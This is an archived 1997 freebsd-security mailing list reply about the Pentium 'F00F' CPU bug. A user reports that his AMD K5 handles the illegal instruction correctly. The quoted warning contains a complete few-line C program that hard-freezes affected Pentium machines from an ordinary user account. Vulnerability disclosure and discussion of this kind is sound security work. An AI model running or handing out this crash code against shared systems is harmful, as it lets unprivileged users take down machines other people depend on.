From owner-freebsd-security Mon Nov 10 11:11:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA21219 for security-outgoing; Mon, 10 Nov 1997 11:11:54 -0800 (PST) (envelope-from owner-freebsd-security) Received: from sui.gda.itesm.mx (sui.gda.itesm.mx [132.254.53.124]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA21212 for ; Mon, 10 Nov 1997 11:11:44 -0800 (PST) (envelope-from alexv@sui.gda.itesm.mx) Received: from sui.gda.itesm.mx ([132.254.148.4]) by sui.gda.itesm.mx (8.8.5/8.8.5) with ESMTP id NAA00832; Mon, 10 Nov 1997 13:14:33 -0600 (CST) Message-ID: <34675C10.B7CFA5F2@sui.gda.itesm.mx> Date: Mon, 10 Nov 1997 13:10:08 -0600 From: "Alejandro Vázquez C." Organization: SUI - ITESM Campus Guadalajara X-Mailer: Mozilla 4.03 [en] (Win95; I) MIME-Version: 1.0 To: Graphic Rezidew CC: roger@nwu.edu, freebsd-security@FreeBSD.ORG, Kadokev@ripco.com Subject: Re: FW: [linux-security] pentium bug makes security under linux impo References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Graphic Rezidew wrote: > > There is a SERIOUS bug in all pentium CPUs. The following > > code will crash any machine running on a pentium CPU, MMX or no > > MMX, any speed, regardless of OS (crash as in instant seize, hard > > reboot the only cure): > > > > char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 }; > > > > main () > > { > > void (*f)() = x; > > f(); > > } > > > > This require no special permissions to run, it works fine with > > average-joe-userspace permissions. I have verified this, it works. > > Demand a new CPU from Intel. If I had someone, I would. But I have an AMD K5 and detects perfectly the illegal instruction. It seems that it only happens with Intel's Pentium (I have NOT tested with AMD K6, neigther Cyrix's Pentium class CPUs).